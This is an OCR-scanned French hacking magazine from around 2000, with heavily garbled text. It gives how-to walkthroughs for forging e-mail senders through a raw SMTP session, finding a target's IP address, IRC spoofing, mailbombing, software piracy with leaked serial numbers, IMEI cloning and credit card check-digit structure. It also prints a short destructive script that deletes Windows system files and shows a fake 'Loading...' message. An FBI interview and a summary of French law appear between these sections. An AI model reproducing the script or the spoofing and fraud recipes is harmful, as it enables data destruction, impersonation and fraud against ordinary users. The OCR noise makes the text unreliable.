& VOiX pitafe informahque

(avec le mobe demplm)

| @ COMMENT IL

| e Pénétrer a distance dans un ordinateur

| o Cracker tous les logiciels

| o Bloquer le PC de leur voisin

@ Avoir tous les mots de passe

o Faire parler une carte bleue

o Envoyer des e-mails vraiment anonymes
| e Fabriquer ou diffuser des virus...
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UN JOURNAL
DE PIRATES ?

ckerzvoice, n'est pas un journal de pirates

is de journalistes. Notre intention n'est
onc pas de glorifier les hackers, mais
bien de rendre publique uneinformation réservée jusqu'ici
i une poignée d'initiés. Ainsi, toutes les informations
publiées dans ce numéro sont aussi disponibles sur
Internet, protégées par l'anonymal: de leurs aureurs.
Hackerzvoice n'est pas un journal clandestin et na donc
pas a se cacher. C’est donc en pleine lumiére, et sans
pseudonyme, que nous diffusons aujourd’hui ces infor-
mations, au nom du droit essentiel que nous avons de
publier, et en toute responsabilité. Oui, la piraterie sur
Internet existe. [l ne nous appartient pas de'approuver ou
de la condamner. Notre devoir se borne 4 rappeler
qu'elle est illégale. Pour forger votre opinion, nous vous
incitons i la lecture croisée des 2 entretiens que nous
publions : I'un avec un agent du EB.L, l'autre avec le

Prince des Hackers.

«intrusion.exe»
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Envoyer des e-mails anonymes

Facile de trouver I'adresse Ip d’un internaute p3

pad

Utiliser a I'eil tous les logiciels du monde, surtout les plus chers p5

Entretien avec un agent du F.B.I p6a7
Moins de 15 minutes pour pénétrer a distance
dans le disque dur d’un ordinateur qui n’est pas le sien... p8
Une autre technique : le hack par ftp p9
Document : Hacker avec Netscape ! p10
Entretien avec le Hacker en chef de “2600” pit
Les trés mauvais plans de Loola Voleuz pit
Les Etats sont les premiers hackers du monde pl4aais
ehttp://www.unsecure.org/

On ne compte plus les sites de hac-  ®http://www.I0pht.com/

kerz, vrais ou faux, infiltrés ou non  @http://www.securiweb.net/

par la Police ou des officines privées  ®http://www.antionline.com/

pas toujours trés clean. Impossible de  ®http://www.2600.com/

faire la part des choses. Le net demeu-  @http://www.rhyno9.com/

relelieudetouteslesintox, faussesinfos,  ®@http://www.lod.com/

rumeurs et manipulations en touts shttp://cryptel.cjb.net/

genres. La petite sélection d'adresses  ®http://www.securityfocus.com/

quenous publions doitdoncétreconsi-  @http://www.rootfest.org/

dérée avec une infinie prudence. Nous  @http://nrc.tsx.org/

la publions a titre d'information, pour  @http://www.hackers.com/

que chaque lecteur puisse, en respon-
sabilité, se livrer 4 son édification per-
sonnelle. Elles sont, 2 notre avis, une
assez bonne synthése de ce qui se dif-
fuse sur Internet 4 propos du hac-
king. Hackerz Voiceles publie volontiers
4 titre d'information, mais se désoli-
darise évidemment de tout ce que ces
pages web pourraient contenir d'illégal.

ehttp://www.hackersnetwork.net/
®http://www.hng.cjb.net/
ehttp://astalavista.box.sk/
ehttp://www.cyberarmy.com/
ehttp://packetstorm.securify.com/
ehttp://www.attrition.org/
ehttp://www.paranos.com/internet/hac-
kers.html

@ http://mobile.box.sk/

ehttp://ww.insucure.org/
ehttp://www.hackersnews.com/
ehttp://www.tbtf.com/
ehttp://www.kevinmitnick.com/
ehttp://www.madchat.org/
ehttp://www.hackpalace.com/
ehttp://berlin.ccc.de/
@http://www.technotronics.com/
ehttp://www.hackers.gr/
ehttp//www.eeye.com
ehttp://mww.li.com/
ehttp://www.linux-kheops.com/
ehttp://www.undergroundnews.com/
ehttp://www.multimania.com/corruptn/

Mention spéciale pour les hack-
artistes dela copyleftattitude :
http://copyleft.tsx.org
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Facile de trouver 'adresse IP d'un internaute

Toutordinateur connectéaInternet pos-
sédeuneadresseIB quisert,entreautre,
a recevoir des E-Mails. Par mesure de
sécurité cette adresse IP, attribuée par
les fournisseurs d'accés, changeichaque
connexion, i 'exception des serveursins-
titutionnels, comme les universités,
par exemple. CQFD : si vous parve-
nezalocaliser uninternaute par sonune
adresseIP elleaurachangélelendemain
matin... Enfait,uneadresse IPn'estrien
d’autre qu'une traduction numérique
d’une adresse binaire 32 bits. On peut
la décomposer comme suit:
152.48.52.212.

@ COMMENT ILS PROCEDENT _

1 Trouver sa propre IP

IIs tapent sous DOS :

Il faut déja avoir son e-mail.

fiche.

Démarrer puis exécuter winipefg: vous obtenez des données sur votre ordi-
nateur. Parmis celle ci se trouve votre adresse ip. C'est tout !

2. Trouver Padresse ip d’un serveur

« ping -a » juste avant I URL du serveur.

Par exemple : ping -a hackerzvoice.com pour connaitre I'adresse IP du
serveur http://www hackerzvoice.com

3 Trouver I'adresse IP d'un internaute

Ensuite, ils envoient un mail par un serveur de mails gratults (Yahoo,
Caramail...) et font en sorte que I'internaute réponde, si possible trés
vite, et par le biais lui aussi d’un serveur de type yahoo ou caramail.
Dans leur message, les pirates expliquent bien comment procéder.
Sans se méfier, I'internaute cible va donc répondre. Apreés le texte de sa
réponse, doivent normalement figurer quelques lignes en anglais. La
premiére de ces lignes est I'adresse IP de l'internaute.

Autres méthodes pour trouver I'lP de quelqu’un...
Sur ICO : pendant les dialogues sur ICQ, ils font un NetStat etl'IP s'af-

‘Sur IRC (Internet Relay Chat) : ils tapent /dns pseudo ou /whois
pseudo : I'IP et les infos s'affichent.

Lasérie 155.48 est'adresse d'un réseau
(ici AOL) le 52 celle d'un sous réseau
etI: 312 enfin,l'adresse. Pour connaitre
Son daPad ‘l’un&ur‘
nisseur d’acces, les hackers urilisent
en général un logiciel spécifique (scan-
ner d’IP) trés facilement disponible
sur le web.
Ensoi,seprocurer 'adresse IP d'un inter-
nauten'est pasinterdit. Cequipeutl'étre,
cest l'utilisation qui en serait faite.

Technique de Spoofing
(mystification)

Le spoofing consiste pour les pirates
a changer leur adresse ip pour ne
pas se faire repérer « (tracer) » . Les
pirates d'élite utilisent deux méthodes
principales (mais il y en a d’autres) :
le spoofingirc etle blind spoofing. Dans
ce numéro, nous expliquons la pre-
miére.

Le Spoofing irc

Cette méthode sertsurtoutauxpirates
i ne pas se faire déconnecter (nuker)
dans un salon ou sur un serveur.
Pour I'appliquer, il faut avant tout
disposer d’'un programme de scanna-
ge d'IP. Impossible de faire quoi que
se soit sans ce logiciel disponible par-
tout et gratuitement sur le web aux
adresses de pirates.

Méthode des vrails pirates
Sans scrupule, I'idée est de prendre
I'Ip d’un autre utilisateur, puis de
lancer mirc pour se connecter 3 un
serveurircetrentrer dansun salon. Une
foisinstallé, le pirate trouvel'ip den'im-
porte quel internaute présent dans le
salon (en faisant /dns ou whois).
Dés qu'il possedel'ip,iln'aplus qualan-
cer son programme de scannage d'ip
et le tour est joué.

Internet Relay Chat, alias IRC, estun
moyen de conversation en direct
par l'intermédiaire d'un serveur.
Les bavardages peuvent se dérouler
soit dans des forums (appelés canaux
ouencore channel) soiten privé. Pour
le hacker malicieux, I'intérét de I'Irc
réside dans sa garnde ouverture, et
dansles possibilités qu'il offre de pou-
voir rigoler & bon compte (en s'im-
miscant dans les conversations, en
faisant circuler des blagues imbé-
ciles etc...). Tout cela est trés puéril,
maisamusebeaucoup les hackers, sur-
tout la nuit.

Comment y accéder ?

Cest trés simple : il suffit de dispo—

ser dulogiciel C Mn-c, oudescriptsen
Ilssontd ibl partout

sur le web.

Planter sa zone sur IRG....

2 Les commandes IRC

Toutes commencent par le signe « / », C'est le signe pour le serveur qu’il
s’agit bien de commande et non pas d’un message .

Elles sont donc invisibles pour les autres utilisateurs...

Voila un tout petit apercu de comment ¢a marche.

JLIST :affiche la liste des canaux dis-
ponibles et aussi le nombre d’utilisa-
teurs

/HELP : active une liste de com-
mandes disponibles sur le serveur.
/JOIN cannal: pour rejoindre un
canal.

/AWAY :indique I’absence de I'utili-
sateur.

/QUAT :quitter le serveur activé
/INFO :pour obtenir des infos sur le
logiciel IRC du serveur.

/INVITE -pseudo- :Invite pseudo sur
le canal.

/WHOIS pseudo:Vous donne des
renseignements sur «pseudo»

/KICK pseudo :Expulse «pseudo»
du canal mais peut cependant revenir.
/TOPIC topic : Modifie le titre du
canal (réservé en principe aux adminis-

trateurs autorisés)

/MSG nick : pour envoyer un messa-
ge 2 «pseudo «

/QUERY pseudo : Ouvre un privé a
«pseudo».

/MODE [¢/-] : Change un mode du
canal. Pour désactiver un mode, retaper
la méme commande mais avec le signe
‘-' & la place du ‘+'.

Exemple :
+5 = canal secret
+p = canal privé

= entrée sur invitation

+N= messagesg exterieurs non sont
pas recu par les utilisateurs du canal
+[3]= 3 personnes maximum sur un
canal

+k [password] = pour obliger un utili-

sateur  donner un mot de passe avant

d’intégrer un canal...
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Envoyer des e-mails anonymes

Li encore, le fait de se rendre anony-
me pour envoyer un e-mail n'est pas,
jusqu'a la preuve du contraire, inter-
dit. Ce qui peut le devenir, en
revanche, c’est l'utilisation qui serait
faite de cet anonymat : calomnie,
chantage, menaces, diffamation...On
en passe. Voici en tout cas comment
procedent les pirates qui utilisent
cette technique, assez répandue.

.“‘u“‘.

Non,
Spamer n'est pas
B=————-———"|{orcement illénal !

@ COMMENT ILS PROCEDENT

1 Avant toute chose, il doivent avoir avoir telnet. Tout le monde I'a,
ou presque. Essayez: si vous ne savez pas ol le trouver, recherchez le
simplement sur le disque. Cliquez dessus.

Une fenétre s'ouvre.

Aller dans préférence

Cocher les cases suivantes: «6cho local «, «VT 100/ANSI» et enfin

une zone tampon non inférieur & 25.

Votre telnet est maintenant paramétré.

2 Les pirates se connectent donc au serveur a l'aide de telnet. Pour
cela, ils font :

Connection, systéme distant.

Dans «nom de I'hte» ils tapent le nom d'un serveur permettant

d’envoyer du courrier (type woridnet)

Dans «port» ils précisent «25» .

Dans «type de terminal», ils inscrivent «vt 100».

Etils se avec... 1

!

3 Unefois connecté, le serveur leur répond par un message du type
ou approchant:
220-poseidon.worldnet.net Microsoft SMTP MAIL ready at Sun, 20
jul 2000 21:17:39
+0100 Version: 5.5.1775.675.6 etc...

4 \Is tapent alors HELD ESMTP
Le serveur leur répond: 250 poseidon.worldnet.net Hello
[152.207.22.131]

5/ Is choisissent I'adresse modifiée (qui apparaitra chez le destinatai-
re) dans la fenétre «from», ¢'est-a-dire leur nom d’emprunt.
MAIL FROM: <monnomdemprunt@compuserve.com>

6 Le serveur leur répond :

250 < monnomdemprunt @compuserve.com>... sender ok

(ils se font donc donc passer passez pour quelqu’un qui s'appelle mon-
nomdemprunt, abonné & compuserve)

7/ ils entrent ensuite comme suit le nom du destinataire:
RCPT TO: <destinataire@yahoo.fr> (par exemple)
L'adresse, cette fois-ci, existe vraiment !!!!

Le serveur leur répond

250 <monnomdemprunt@yahoo.ir>... Recipient ok

8‘ Avant de taper leur message, ils tapent :
DATA

Le serveur répond et alors indique la marche a suivre:
354 Please enter your message body, ending with a «.» on a line by
itslef

9 ils entrent alors leur message et le serveur confirme :
250 Message accepted for delivery

10 Pour sortir de telnet, is font Quit, tout simplement.

2

Spamer, c'est envoyer en masse (vrai-
ment en masse) le méme e- mail &
plusieurs correspondants quin‘ontrien
de mandé. Le but du spam est com-
mercial, Utilisé par des sociétés, ilapour
but de vendre des produits ou des
services. La pratique du spam repose
sur une loi markering simple : celle
des grands nombres. Plus vous proposez
votre offre 4 un éventail important
de prospects, plus elle a de chances
de se concrétiser. C'estbétement mathé-
matique et mécanique. Comme en plus
c’est gratuit, ou presque... Qu'en est-
il, dans ces conditions de la légalité
du spam 2 Pour nous, c'est clair, cette
pratique, quoiqu’agagante, n'est pas clai-
rement illégale. Elle est en revanche
en contradiction aveclanettiquette, qui
reste une convention sans portée juri-
dique vraiment claire. Précisons que
le démarchage postal est autorisé, de
méme que le « spamming « par fax.
En réalité, s’il y a crispation, ¢’est

©———

MAILBOMBING :
comment les pirates satu-
rent la boite aux lettres
d’un utilisateurquin’arien
demandeé...

Comme son nom l'indique, cette pra-
tique, extrémement nuisible et rava-
geuse, consiste i envoyer en masse
des e-mails 2 un correspondant. Saboite
aux lettres devient ainsi rapidement
saturée, jusqu'au blocageco mplet. Pour
parvenir A ce résultat, les pirates uti-
lisent un logiciel spécial appelé mail-
bomber. Onletrouve i peuprés partout
surleweb (voirnotre carnet d’adresses
en fin de journal). C’est ce logiciel
qui se charge d’envoyer 4 un utilisa-
teur donné un certain nombre de
messages trés lourds. Plus le nombre
de message est important, plus la
connexion de la victime sera ralentie.

Certains logiciels de bombing pro-
raffi ts, du

| 4 1

style :

N,

Le mail bombing ne fonctionne pas contre
les utilisateurs reliés a un réseau cahle

- possibilité de choisir le nombre de
Mails 2 envoyer a la victime.

- possibilité de choisir le texte conte-
nu dans les Mails envoyés.

- possibilité de se faire passer pour
quelqu’un d’autre en changeant son
adresse Mail




L'église de Scientolo-
gie aurait envoyé 1200
spams en 15 jours sur
un groupe de discus-
sion

AOL prétend recevoir1.8
millionde spams de pro-
mos par jour.

parceque lespam, cofite cher. Pasa ceux
qui l'utilisent (ga leur en rapporte
méme), mais aux fournisseurs d’
accés A Internet qui doivent du coup
mettreenplaceune plus grandelargeur
de bande, acheter des ordinateurs

ires, disp d'un plus
grand espace disque et engager du
personnel supplémentaire. C'est tout
le fond de la question. Reste qu'une

directive européenne a confirmé que .

lapratique duspam, déslors quele conte-
nu des messages ne comporte pas de
mention illégale, n’est pas interdite
entantquetelle et ce dans tousles Etats
de 'Union Européenne. A condition
que le message propose i celui qui le
regoit la possibilité de ne plus en
recevoir, et quele fichier soit bien décla-
ré ala CNIL.

On considére en qu'un envoisupérieur
4 20 messages constitue un spam.

our un hacker, le fait d’ache-
Pter un logiciel, surtout chez

Microsoft, reléve du péché mor-
tel. Mieux : son word pour son
courrier, mais aussi son photoshop,
son Xpress et son illustrator derniéres
versions, il les veur 4 I'eeil. Ques-
tion d’éthique. Pour notre part,nous
condamnons avec la plus grande
vigueur cette pratique qui ruine les
éditeurs de logiciels dans le besoin.
Pour uriliser en toute impunité un
logiciel refilé par un collégue, piqué
sur Internet ou au bureau, il suffic
aux pirates d’en obtenir le numéro de
série. Or, rien n'est-plus facile 2
trouver sur le web que les numéros
de série de logiciels. Tous les softs
de toutes les marques y sont repré-
sentés. Parmi les sites fétiches des
pirates, que nous vous conseillons
d’aller visiter mais dont nous vous

Utiliser tous les logiciels du monde
surtout les plus chers,
sans en payer un seul

déconseillons formellement d’utili-
ser les informations a des fins 1lle-
gales :
hitp://reveals.belgium.cc/default.ht .

Variante trés répandue : les pirates
téléchargent sur Internet des versions
de démo (en fait des versions com-
plétes mais limitées dans le temps
faute de numérode séne) etles « offi-
cialisent « grice aux numéros publiés
sur les sites de hackers.

11 ne faut pas confondre cette pra-
tique trés répandue quoiqu'illégale
aveccelleducracking, totalementillé-
gale aussi, qui consiste a intervenir
sur un logiciel pour en modifier les
fonctions (mots de passe par
exemple). Nous consacrerons bien-
tdt un numéro spécial au cracking.

e piraterie télépho-
nique...
Trouvez le code secret

“opérateur” de votre
portable

Faire payer ses com-
munications de portables
par un autre c’est pos-
sible.

Dans les téléphones mobiles, c'est
la carte SIM, bien connue de tous
les utilisateurs, qui permet aux opé-
rateurs de facturer les communica-
tions.

Cette puce contient un code, le code
IMEL C’esten quelque sorte lenumé-
ro d'identité du téléphone, qui com-
prend les données sur l'utilisateur.
Normalement, seul I'opérateur pos-
séde ce code. Imaginons mainte-
nantque quelqu'und'autre se procure
cecode d'identification top secret. En
I'implantant dans unautre téléphone,
il poutty faire payer ses factures par

A nos lecteurs

De quoi je me méle...
L Allemagne est en train d'étudier une lol

Les informations publiées dans Hackerz Voice ont un objectif purement docu-
mentaire. Le journal rappelle a ce titre que le piratage informatique, sous
quelque forme que ce soit, est un délit (lire page 7). Hackerz Voice condamne

naturellement toute forme de piratage et soutien sans ambiguité les actions de
toutes les organisations qui luttent contre la cyber-criminalité.

visant a limiter & certaines heures l'utilisa-
tion privée d'internet au bureau (aprés 18h
ou avant 7 h du matin 7). Pour les promo-
teurs de ce texte Iidée est « d ‘améliorer la
protection des données de Fentreprise et
celles des salariés «. En cas de soupons
utilisation détournée (comprendre autre-
ment que pour le travail), Fentreprise pour-
pait demander a connaitre le contenu des
e-malls envoyés et recus et méme deman-
der au salarié de payer la sa quote-part de
facture internet.

Kill, le programme
qui tue

Attention, avec ce programme censé
supprimer les fichier VXD dans
system et dans windows, 'ordinateur
ne s'ouvre plus... A n'utiliser évide-
memnt, par pur masochisme, queson
propre ordinateur, et JAMAIS sur
celui d'un autre.
«CL8

KILL «c:\autoexec.bat»

KILL «c:\windows\system\*.vxd

KILL «c:\windows\*.vxd

KILL «c:\windows\win.com

PRINT «Loading...»

SLEEP 2 «

C’est fou tout ce qu’on peut faire dire
a un numéro de carte de crédit...

Toute carte de crédit (VISA, Ameri-
can express, Eurocard, Mastercard...)
posséde un numéro i 16 chiffres. Pre-
miére chose 4 savoir : chacun de ces
chiffres a une signification particulié-
re que tout pirate (comme tout ban-
quier d'ailleurs) se doit de connaitre.

Le premier chiffre indique le type de
carte
Le chiffre 3 signifie American express

EXPIRE
AFIN

quelg: 'un d’autre. Eh bien, ce code,
n'importe qui peut sele procurer. Pour
vous en convaincre, tapez *#06# sur
votre portable. Le code IMEI appa-
rait. Si, avec un peu de connaissan-
ce électronique (du niveau CAP)
un utilisateur parvient 4 implanter
ce code dans le téléphone de son
voisin, c'est le voisin qui paye...
Certe fraude est estimée, pour les seuls
Etats-unis, 4 plus de 600 millions
de dollars chaque année...

Le chiffre 4 signifie Visa
Le chiffre 5 signifie Eurocard

Les 3 numéros suivants (ou 4 ou 5 sui-
vants les cas) indigue le numéro de
I’établissement émetteur de la carte
Par exemple, pour la France :

970 pour la Poste

973 pour la Société Générale -

975 pour la bred

978 pour la Caisse d’Epargne

972 pour le crédit lyonnais
974 pour la BNP

Enfin, les numéros suivants, saufle der-
nier sont générés au hasard sauf le
dernijer. Ce numéro est trés impor-
tant puisqu'il représente la clé per-
mettant de vérifierlavalidité delacarte.
Pour les pirates, retrouver cette clé
est un jeu d’enfant. Il suffic d’appli-
quer unesuccession de formules mathé-
matiques (un algorythme) assez simples.
A la limite, une simple calculatrice
suffit Toutes les explicationscirculent
librement sur le web. A noter que 2
en croire les pirates qui se préten-
dentles mieux informés, la daredevali-
dité n'a aucune espéce d'importance,
seule la clé permettant de dérerminer
la“vraie” validité. Enfin, chers lec-
teurs, n'espérez pas tirer un profit
crapuleux de ces quelques explications.
Elles sont beaucoup, beaucoup, beau-
coup trop courtes pour permettre méme
le début d’'un embryon de tentative
de fraude, Comme i la tél¢, la vérité
est ailleurs...
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Entretien exclusif avec Charles Neal, ageht spécial de la Brigade d’interve

« Des criminels professionels s'infittr
dans la communaute des hackers et
se servent des petits jeunes pour fair

LOS ANGELES

Propos recueillis 2 Los Angeles pour
E-Times (Transl HackerzVoice by
Cindy Pearl)

Question/ Comment peut-on défi-
nir un cyber crime ?
Réponse/ On ne peut pas définir de
maniére précise le cyber crime. Le
fait qu'un ordinateur soit 'outil d'un
crimen'en fait pas pour autant un cyber
crime, anotreavis. Denombreuxcrimes
traditionnels sont en partie perpétrés
par voie informarique et ont élu domi-
cile sur 'Internet.L'affaire de la lettre
Nigérienne en est un exemple :cetre
escroquerie s'est déroulée par voie de
courrieretde fax pendantdes annéeset
maintenant, elle se déroule par E
mail. Ilsagit de crimes rendus possibles
par'Internet, mais on enquéte comme
il s'agissait de crimes commis sans ordi-
nateurs.
Quand on parle de crimes informatiques
ont fait allusion i ceux qui sont en
rapport avec une intrusion fraudu-
leuse sur le réseau comme ils sont
définis dans le titre 18, section 1030
du code des états unis, ceci étant com-
parableal'infraction etl'entrée dansun
. ordinateuraulieud’'une maison oid‘une
entrepriseern'exclut pas!'investigation
decrimesliés quis'effectuentau moyen
del'informatique oudunet. Un exemple
récent setrouve dans notre enquéte sur
lamanipulation des réseaux impliquant
des étudiants de 'UCLA (université
californienne).

0/ Pourriez vous évaluer les dégits
subis par les entreprises améri-
caines ?°

R/l est difficile de faire des statistiques,
mais je sais qu'il y a 3 ans les pertes
ont étés estimé a 3 milliards de dol-
lars. Aujourd’hui ce chiffre a aug-
menté. Iy a 2 ans, je recevais 1 ou 2
plaintes par semaines. Maintenant,j’en
trouve 20 dans mon courrier. IIn'yapas
queles pertessubies ¥ partir dedossiers
volés, il faut y ajouter les heures sup-
plémentaires consacrées a réparer les
conséquences des crimes. Sans parler
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«line grande partie des hackers

ne se rend pas compte a quel point
leur actes sont graves.

Des vies ont été gravement com-
promises. La société ne va plus
tolérer ce type de dégradation.»

des renforcements des mesures de sécu-
rité aprés avoir été victime d’un crime.

0/ Quels moyens utilisez vous pour

enquéter sur les cybers crimes.
R/Nous avons un accés sophistiqué
sur le net et nous avons créé le Centre
National De Protection d Infrastruc-
tures (NIPC). A proximité nous pos-
sédons un centre équipé de 14
ordinateurs possédants chacun un
systéeme différents, tel Linux, Solaris
etc... Nous ne prétendons pas étre
des informaticiens experts, mais nous
sommes tout 4 fait au courant de I'ad-
ministration du systéme au niveau du
réseau...Nous pensons savoir navi-
guer sur Internet.

0/Quelestle pourcanmgedesplra:es
s et celui des profi

R/Je ne peux pas citer de chiffres
exacts, mais il semblerait qu'il y ait
un nombre croissant de vrais crimi-
nels par rapport aux délinquants. J'ai
également remarqué que des crimi-
nels professionels s'infiltrent dans la
communauté des hackers et se ser-
vent des petits jeunes pour faire leur
sale boulot.
Encequi Ieihiac
ilyenab p pour leur ép
sement personnel et j'ai 2 grands sou-

cis & ce sujet :primo les dégats infligés
sans tenir compte de leurs motiva-
tions jsecundo certains parmis euxvont
cesser le hacking quand ils auront des
vies plus épanouies. Ceci n'exclut pas
ceux qui évolueront en hacker profes-
sionnels.

0/Estce quele FBI dispose des fonds
adéquats pour entraver la monté
des cybers crimes ?
R :Pour l'instant nous n'avons pas les
moyens nécessaires pour le mater et cela
estégalementvraipour d’autres agences
chargées de faire appliquer la Loi.
Toutefois nous avons fait beaucoup
de chemin en peu de temps. Quand
on pense qu'il y a 2 ans et demi, aucu-
ne agence n'était financée pour affron-
ter les cybers crimes alors qu'aujourd'hui
il y en a 200 dans tout le pays. Siil y
a au moins un ou deux agents dans
chaque bureau (du FBI) du pays et
des brigades dévoués dans les lieux
importants.

0/ A ticre d’exemple, combien
d’agents sontassignésalalocalité de
Los Angeles.

R/Je ne saurais vous le préciser.

O/ Quelssontles principaux obstacles
quevous devezaffronter sousforme

d’agression, de refus ou de blocage
dufonctionnement des servicesinfor-
matiques ?

R/Ils sont nombreux, et le prcmi:r est

dedi. des ressources adé et
le second estla formatwn des agents.
Notia derésoudre

ces problérnes Vus les Ilmwes imposées
parletemps,,ils'agit de trouver un équi-
libre entrelanécessité d'une mise d jour
continuelle de nos compétence tech-
nique et la pression des enquétes en
cours. Nous envisageons actuelle-
ment une période de restrictions de 3
a4ans Lintervention aumoment oppor-
tun constitue un défi car les traces
dont nous avons besoin sont élimi-
nées en quelques jours ou quelques
heures. A défaut de ces traces, nous
devons obligatoirement avoir recoursa
unagentde renseignements.Etant donné
que certaines de nos procédures en
vigueur destinée 2 obliger des entre-
prises & rendre public les dossiers
sont lentes par rapport a la vitesse
d’élimination des données informa-
tiques.(Décret juridique 2703D) ces
décrets sontexigés en vertudu titre 18...11
yaaussides problémes propres au cyber
crime 4 I'échelle internationale. En se
servant d un ordinateur, il y a une

doncsinous touchons
des pays non coopératifs, nous touchons
au point mort.

Le cyberespace est un espace inter-
national, comparable auxmers libres ot
aucun paysn'exerce unejuridiction par-
ticuliére. Navigant dans le cyberespa-
ce, il est impossible d'identifier la
provenance d'un particulier sans loca-
lisersonlogiciel et ensuite suivre sapiste.
il suffit que celle-ci soit dans un espa-
ce étranger et que l'utilisateur brouille
sapiste pour que nous ne puissions rien
faire sans la coopération du gouver-
nement en question.

0/ Pensez vous que la récente vague
de publicité A propos des cybers
crimes va contribuer a faire aug-
menterle financementdeleur dépis-
tage ?

R/Lasociété veut que nous mettions fin



¢ leur sale

a ces crimes et nous prévoyons un
budget supplémentaire pour y parve-
nir.

0/Quelles consignes de sécurité

conseillezvous aux entreprises ayant

leur site sur Internet ?
R/De se responsabiliser en ce qui concer-
ne leur sécurité sans que cela, bien
que cela n'excuse pas l'activité des
hackers.C'est aux entreprises de prendre
les mesures de sécurité les plus rigou-
reuses possibles. Beaucoup de sitessont
accessibles sans aucun systéme de sécu-
rité efficace.

Q/A votre avis est-il possible de remé-

dier au cyber crime ?
R/De maniére générale, oui. A condition
de pouvoir localiser la piste informa-
tique. Vous pouvez étre sur qu'il y
aurades cas que nous pourrons résoudre
mais aussi des cas insolubles. Rassu-
rez vous, le cyber crime exige une
mise A jour constante, des outils de
travails au diapason et des innova-
tions technologique qui n'est pas le
cas pour d'autres domaines de crime, et
nous nepouvons nous référer auneexpé-
rience du passé, sauf récent. A ceci, il
fautajouter des problémes d'ordreinter-
national carilest problématique de déce-
ler une piste informatique a I'étranger
sans y étre autorisé.

0/D’oi1 vient ce sentiment d’im-

punité chez le hacker?
R/Le hacker est virtuellement indé-
tectable,.Dumoins c’est ce qu'il pense.
Cela demande un effort trés intense
d'identifier ces gens, mais c'est faisable.
Nous avons piégé des hackers qui
n'en revenaient pas de la vitesse avec
laquelle nous les avons cernés, car ils
imaginaient avoir brouillé les pistes.

:ntion des crimes informatique du FBI

houlot »

sein de la communauté hacker ?
R/Nous avons recours A des agents de
renseignements et i des agents secrets
mais je ne peux pas vous en dire plus.

0/Nousavons entendu parler de hac-
ker condamnés i quidesentreprises
ont proposé des contrats de consul-
ting tres lucratifs moyennant leurs
connaissances utilisées dans un
but préventif. Est-ce que vous
approuvez cette tactique ou pen-
sezvous qu'elle contribue i glorifier
le hacking ?
RAlm'estarrivé de recevoir des rapports
de hackers qui téléphonent a des
entreprises pour demander des contrats
de consulting anti-hacking. Je n'arrive
pas 4 comprendre comment on pour-
raitembaucher quelqu'unaussidépour-
vu d’éthique en premier lieu, d’autant
plus que le hacker dispose de leur
équipement informatique pour agres-
ser d'autres entreprises. .A mon avis
ilesttrop risqué dese servir des hackers
pour renforcer les mesures de sécuri-
té.

Q/Avez-vous un message a com-

muniquer directement aux hac-

kers qui liront cet entretien ?
R/Premiérement, cela devient de plus
en plus risqué étant donné que le FBI
en particulier et I'application de la loi
en général font en sorte que davanta-
gede ressources soient mises en ceuvre
pourarréter les hackers ;lasociéél'exi-
ge. Fondamentalement, jadis, un grand
nombre de ceux qui appartenaient 4
la ¢ hackernep ient pas
se faire prendre,imaginant quela socié-
té était indifférente, mais ce n'est pas
le cas et méme si nous ne pouvons
pas attraper tous les coupables nous
allons faire un bon chiffre. Je crois aussi

Tl faut que nousagissions extré

vite dans nos interventions, parce
que toutes les données sont éliminées
en si peu de temps,

Q/Pour agir contre le cyber-crime,
comptez vous sur les agents de
renseignementa,desindics quoi,au

quaufureta quelasociété pren-
neconscience de cesactes, lessanctions
vont s'alourdir en conséquence. Une
grandepartie des hackersneserend pas
compte a quel point leur actes sont
graves. Des vies ont été gravement com-
promises grice i ceux-ci et la société
ne va plus tolérer ce type de dégrada-

tion.

Ce que dit la loi en France

« Lacces et Ie maintien frauduleux total
ou partiel dang tout ou partie d'un syste-
me oudélitd intrusion est puni par I'article
323-10'unand'emprisonnement et de 100
000 francs d'amende ».

En France, I'arme principale de 'ar-
senal juridique disponible contre les
hackers demeure la loi Godfrain du
5 janvier 1988 « relative 2 la fraude
informatique «.ce texte prévoirnotam-
ment que « I'accés et le maintien
frauduleux total ou partiel dans
tout ou partie d'un systéme ou délit
d’intrusion est puni par 'article
323-1 d'un an d’emprisonnement et
de 100000 francs d’amende «.Ce délit
est constitué dés lors que n'importe
quelle technique est employée pour
accéder frauduleusement 4 un sys-
teme protégé. Il l'est aussi dans le
cas de l'utilisation d'un code d'accés
€XaCt, Mais par une personne non auto-
risée a l'utiliser.

La loi prévoit aussi que si 'accés ou
le maintien frauduleux dans le sys-
téme entraine la suppression ou la
modification de données, ou méme
une simple altération, méme invo-
lontaire ou par maladresse, les peines

Lorsque l'action est volontaire, l'ar-
ticle 323-2 prévoit 3 ans d’empri-
sonnement et 300000 francs d’amende.
Laencore, laloitextevise tousles pro-
cédésetroutesles techniques utilisées,
méme cellesinconnues aumoment de
larédaction delaloi. Cette disposition
vise aussila propagation devirus infor-
matique. .

11 faut savoir que la simple tentati-
d. s o, pl.ll'ue
des mémes peines. En outre, les per-
sonnes physiques coupables d'un de
cesdélitsencourent,en plus delapeine
principale, des peines complémen-
taires énumérées a l'article 323-5.

Ve, non su

Les personnes morales, comme les
entreprises ou les associations, peu-
vent elles aussi étre déclarées res-
ponsables pénalement et encourent
les peines prévues al'article 131-39 du
nouveau code pénal.

Le projet de convention sur la cyber-criminalité

du Conseil de I’Europe

« Un dispositif iégal
qul va encore se durcir

Le projet de traité européen de lutte
conire [a cyber-criminalité prévoit des
mesures radicales. Les fournisseurs
d’accés seront ainsi obligés de conser-
ver I'enregistrement de I'activité de
leurs abonnés, au cas ol une engquéte
viendrait a viser I'un d’entre eux. Tout
sera archivé et consultable par la police
pour les besoins des enquétes ; liste’
des sites visités, liste des e-mails
envoyés et requs...Pour les détracteurs
du projet, trés nombreux, il s’agit d’une
intrusion inadmissible dans la vie pri-
vée. Autre mesure draconienne et qui,
si elle était adoptée, rendrait trés diffi-

Sont visés tous les logiciels permettant
I'intrusion, la fabrication de virus, de
crackage de mots de passe efc...

Le probléme, c'est que ces logiciels
sont déja largement diffusés, souvent
par les marques elle méme, a des fins
de maintenance ou de réparation des
systémes...A quand le délit de mainte-
nance, qui obligera, en cas de panne ou
de perte de mot de passe, |'utilisateur a
acheter du matériel neuf ! Enfin, le trai-
té prévoit que la police aura désormais
le droit de perquisitionner a distance
les disques durs suspects el des
témoins dans le cadre de leurs

cile la cir de I'information: I'ins-
tauration d'un délit de « production « et
de « diffusion « de tout dispositif per-
mettant de commetire une infraction.

étes (en gros utiliser les méthodes
de piratage) ce texte devrait étre adopté
courant 2001.
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Moins de 15 minutes pour pénétrer a distance
“dans le disque dur d'un ordinateur

Ce petit jeu tout a fait
